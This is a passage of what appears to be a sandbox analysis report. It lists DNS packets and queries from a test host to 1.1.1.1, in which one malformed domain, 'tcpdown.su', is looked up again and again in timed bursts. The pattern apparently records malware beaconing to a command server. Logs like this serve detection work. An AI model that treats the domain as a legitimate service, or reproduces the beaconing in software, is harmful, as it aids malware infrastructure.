Jan 2, 2025 08:52:05.730019093 CET	53	39941	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:05.731391907 CET	57086	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:05.738497972 CET	53	57086	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:05.739999056 CET	60589	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:05.746876001 CET	53	60589	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:05.749072075 CET	33130	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:05.763632059 CET	53	33130	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:05.767497063 CET	50635	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:05.774600983 CET	53	50635	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:05.777483940 CET	60363	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:05.784435987 CET	53	60363	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:07.316704035 CET	40577	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:07.324265957 CET	53	40577	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:07.325134039 CET	33771	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:07.332195044 CET	53	33771	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:07.334021091 CET	60697	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:07.342232943 CET	53	60697	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:07.343218088 CET	39285	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:07.350231886 CET	53	39285	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:07.351927042 CET	37689	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:07.358875990 CET	53	37689	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:07.361391068 CET	60691	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:07.368339062 CET	53	60691	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:09.181456089 CET	37832	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:09.188824892 CET	53	37832	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:09.193706989 CET	42959	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:09.200587988 CET	53	42959	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:09.201366901 CET	54641	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:09.215143919 CET	53	54641	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:09.215852976 CET	48244	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:09.222781897 CET	53	48244	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:09.223711014 CET	40428	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:09.230617046 CET	53	40428	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:09.233016014 CET	52198	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:09.240092039 CET	53	52198	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:10.915015936 CET	52150	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:10.922739983 CET	53	52150	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:10.923413038 CET	58638	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:10.930531025 CET	53	58638	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:10.931165934 CET	44845	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:10.940196037 CET	53	44845	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:10.941049099 CET	60822	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:10.949060917 CET	53	60822	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:10.950289965 CET	48321	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:10.957536936 CET	53	48321	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:10.958242893 CET	52831	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:10.965167999 CET	53	52831	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:12.497948885 CET	50818	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:12.505093098 CET	53	50818	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:12.505727053 CET	53378	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:12.512701035 CET	53	53378	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:12.513279915 CET	42231	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:12.520325899 CET	53	42231	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:12.520926952 CET	44146	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:12.530455112 CET	53	44146	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:12.531071901 CET	51272	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:12.538044930 CET	53	51272	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:12.538630962 CET	37788	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:12.545663118 CET	53	37788	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:14.360881090 CET	39098	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:14.368247986 CET	53	39098	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:14.368762970 CET	59792	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:14.375730038 CET	53	59792	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:14.376415968 CET	52347	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:14.383440971 CET	53	52347	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:14.386104107 CET	39556	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:14.400660992 CET	53	39556	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:14.401464939 CET	60570	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:14.408430099 CET	53	60570	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:14.408952951 CET	42825	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:14.416857004 CET	53	42825	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:16.247736931 CET	34763	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:16.821861029 CET	53	34763	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:16.823008060 CET	47181	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:16.830288887 CET	53	47181	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:16.830887079 CET	38739	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:16.837673903 CET	53	38739	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:16.838184118 CET	37410	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:16.851937056 CET	53	37410	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:16.852485895 CET	33120	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:16.859379053 CET	53	33120	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:16.860042095 CET	54323	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:16.867636919 CET	53	54323	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:18.716290951 CET	60177	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:18.723635912 CET	53	60177	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:18.737590075 CET	46443	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:18.745625973 CET	53	46443	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:18.816662073 CET	55077	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:18.827939034 CET	53	55077	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:18.829840899 CET	60475	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:18.837155104 CET	53	60475	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:18.850449085 CET	37853	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:18.865426064 CET	53	37853	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:18.878515005 CET	57207	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:18.886782885 CET	53	57207	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:20.404645920 CET	56692	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:20.411655903 CET	53	56692	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:20.413057089 CET	51410	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:20.422552109 CET	53	51410	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:20.426124096 CET	34197	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:20.433430910 CET	53	34197	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:20.451778889 CET	57373	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:20.458910942 CET	53	57373	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:20.460608959 CET	35687	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:20.467710972 CET	53	35687	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:20.468962908 CET	34342	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:20.476138115 CET	53	34342	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:22.294478893 CET	53231	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:22.301775932 CET	53	53231	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:22.302680969 CET	38649	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:22.309950113 CET	53	38649	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:22.311224937 CET	50597	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:22.318228006 CET	53	50597	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:22.319087982 CET	53379	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:22.326239109 CET	53	53379	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:22.327008963 CET	60728	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:22.333961964 CET	53	60728	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:22.334650040 CET	56092	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:22.341495037 CET	53	56092	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:24.163710117 CET	45722	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:24.170479059 CET	53	45722	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:24.171211004 CET	47395	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:24.184751034 CET	53	47395	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:24.185489893 CET	35938	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:24.192394018 CET	53	35938	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:24.193152905 CET	38429	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:24.201869965 CET	53	38429	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:24.202619076 CET	59301	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:24.209849119 CET	53	59301	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:24.210602999 CET	40361	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:24.217418909 CET	53	40361	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:25.760374069 CET	59073	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:25.767790079 CET	53	59073	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:25.768513918 CET	48528	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:25.775976896 CET	53	48528	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:25.776648045 CET	50113	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:25.783932924 CET	53	50113	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:25.785392046 CET	50269	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:25.792655945 CET	53	50269	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:25.793339014 CET	47652	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:25.800297976 CET	53	47652	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:25.801223040 CET	50786	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:25.808430910 CET	53	50786	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:27.336055994 CET	48887	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:27.343342066 CET	53	48887	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:27.344001055 CET	37446	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:27.358721018 CET	53	37446	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:27.359349966 CET	49186	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:27.366585016 CET	53	49186	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:27.367177010 CET	37950	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:27.374253035 CET	53	37950	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:27.374856949 CET	58781	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:27.382061005 CET	53	58781	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:27.382690907 CET	48990	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:27.389810085 CET	53	48990	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:28.928370953 CET	52546	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:28.935735941 CET	53	52546	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:28.961461067 CET	40539	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:28.970510006 CET	53	40539	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:28.973848104 CET	53893	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:28.980978966 CET	53	53893	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:28.991308928 CET	34922	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:28.998717070 CET	53	34922	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:29.015913963 CET	59011	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:29.023551941 CET	53	59011	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:29.025202036 CET	39091	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:29.032157898 CET	53	39091	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:30.562428951 CET	53692	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:30.569315910 CET	53	53692	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:30.570086002 CET	33188	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:30.577776909 CET	53	33188	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:30.578526974 CET	59359	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:30.586957932 CET	53	59359	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:30.587667942 CET	50763	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:30.596244097 CET	53	50763	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:30.598121881 CET	34136	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:30.605257034 CET	53	34136	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:30.605964899 CET	36528	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:30.613059998 CET	53	36528	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:32.431443930 CET	34738	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:32.438867092 CET	53	34738	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:32.439697981 CET	41730	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:32.446736097 CET	53	41730	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:32.447451115 CET	54592	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:32.454691887 CET	53	54592	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:32.455311060 CET	46530	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:32.462585926 CET	53	46530	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:32.463284016 CET	60237	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:32.470225096 CET	53	60237	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:32.470920086 CET	45489	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:32.477623940 CET	53	45489	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:34.296024084 CET	60054	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:34.302581072 CET	53	60054	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:34.303293943 CET	35101	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:34.310425043 CET	53	35101	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:34.311526060 CET	35865	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:34.318653107 CET	53	35865	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:34.319330931 CET	34609	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:34.326525927 CET	53	34609	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:34.327208996 CET	49389	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:34.334460974 CET	53	49389	1.1.1.1	192.168.2.13
Jan 2, 2025 08:52:34.335151911 CET	42590	53	192.168.2.13	1.1.1.1
Jan 2, 2025 08:52:34.354475975 CET	53	42590	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2025 08:51:50.686662912 CET	192.168.2.13	1.1.1.1	0xf206	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.697827101 CET	192.168.2.13	1.1.1.1	0xf206	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.715168953 CET	192.168.2.13	1.1.1.1	0xf206	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.726891041 CET	192.168.2.13	1.1.1.1	0xf206	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.743439913 CET	192.168.2.13	1.1.1.1	0xf206	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.670238972 CET	192.168.2.13	1.1.1.1	0x7d3a	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.684811115 CET	192.168.2.13	1.1.1.1	0x7d3a	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.706001997 CET	192.168.2.13	1.1.1.1	0x7d3a	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.724528074 CET	192.168.2.13	1.1.1.1	0x7d3a	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.743511915 CET	192.168.2.13	1.1.1.1	0x7d3a	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.320144892 CET	192.168.2.13	1.1.1.1	0x501c	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.332721949 CET	192.168.2.13	1.1.1.1	0x501c	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.350552082 CET	192.168.2.13	1.1.1.1	0x501c	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.361047983 CET	192.168.2.13	1.1.1.1	0x501c	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.378874063 CET	192.168.2.13	1.1.1.1	0x501c	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.262092113 CET	192.168.2.13	1.1.1.1	0x22ab	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.271590948 CET	192.168.2.13	1.1.1.1	0x22ab	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.295475006 CET	192.168.2.13	1.1.1.1	0x22ab	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.307837963 CET	192.168.2.13	1.1.1.1	0x22ab	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.390126944 CET	192.168.2.13	1.1.1.1	0x22ab	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.296113968 CET	192.168.2.13	1.1.1.1	0x43d1	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.306191921 CET	192.168.2.13	1.1.1.1	0x43d1	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.380641937 CET	192.168.2.13	1.1.1.1	0x43d1	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.390502930 CET	192.168.2.13	1.1.1.1	0x43d1	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.405705929 CET	192.168.2.13	1.1.1.1	0x43d1	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.269464016 CET	192.168.2.13	1.1.1.1	0xcac8	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.281557083 CET	192.168.2.13	1.1.1.1	0xcac8	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.295474052 CET	192.168.2.13	1.1.1.1	0xcac8	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.308034897 CET	192.168.2.13	1.1.1.1	0xcac8	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.319001913 CET	192.168.2.13	1.1.1.1	0xcac8	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.231597900 CET	192.168.2.13	1.1.1.1	0xcebd	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.239703894 CET	192.168.2.13	1.1.1.1	0xcebd	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.248119116 CET	192.168.2.13	1.1.1.1	0xcebd	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.258336067 CET	192.168.2.13	1.1.1.1	0xcebd	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.268882036 CET	192.168.2.13	1.1.1.1	0xcebd	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.134443998 CET	192.168.2.13	1.1.1.1	0xcb65	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.142855883 CET	192.168.2.13	1.1.1.1	0xcb65	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.151475906 CET	192.168.2.13	1.1.1.1	0xcb65	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.167711973 CET	192.168.2.13	1.1.1.1	0xcb65	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.175664902 CET	192.168.2.13	1.1.1.1	0xcb65	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.731391907 CET	192.168.2.13	1.1.1.1	0x638e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.739999056 CET	192.168.2.13	1.1.1.1	0x638e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.749072075 CET	192.168.2.13	1.1.1.1	0x638e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.767497063 CET	192.168.2.13	1.1.1.1	0x638e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.777483940 CET	192.168.2.13	1.1.1.1	0x638e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.325134039 CET	192.168.2.13	1.1.1.1	0x9323	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.334021091 CET	192.168.2.13	1.1.1.1	0x9323	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.343218088 CET	192.168.2.13	1.1.1.1	0x9323	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.351927042 CET	192.168.2.13	1.1.1.1	0x9323	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.361391068 CET	192.168.2.13	1.1.1.1	0x9323	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.193706989 CET	192.168.2.13	1.1.1.1	0xbfea	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.201366901 CET	192.168.2.13	1.1.1.1	0xbfea	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.215852976 CET	192.168.2.13	1.1.1.1	0xbfea	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.223711014 CET	192.168.2.13	1.1.1.1	0xbfea	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.233016014 CET	192.168.2.13	1.1.1.1	0xbfea	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.923413038 CET	192.168.2.13	1.1.1.1	0x7e28	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.931165934 CET	192.168.2.13	1.1.1.1	0x7e28	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.941049099 CET	192.168.2.13	1.1.1.1	0x7e28	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.950289965 CET	192.168.2.13	1.1.1.1	0x7e28	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:10.958242893 CET	192.168.2.13	1.1.1.1	0x7e28	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.505727053 CET	192.168.2.13	1.1.1.1	0x6930	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.513279915 CET	192.168.2.13	1.1.1.1	0x6930	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.520926952 CET	192.168.2.13	1.1.1.1	0x6930	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.531071901 CET	192.168.2.13	1.1.1.1	0x6930	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:12.538630962 CET	192.168.2.13	1.1.1.1	0x6930	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.368762970 CET	192.168.2.13	1.1.1.1	0x83c7	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.376415968 CET	192.168.2.13	1.1.1.1	0x83c7	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.386104107 CET	192.168.2.13	1.1.1.1	0x83c7	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.401464939 CET	192.168.2.13	1.1.1.1	0x83c7	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:14.408952951 CET	192.168.2.13	1.1.1.1	0x83c7	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.823008060 CET	192.168.2.13	1.1.1.1	0xc1c	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
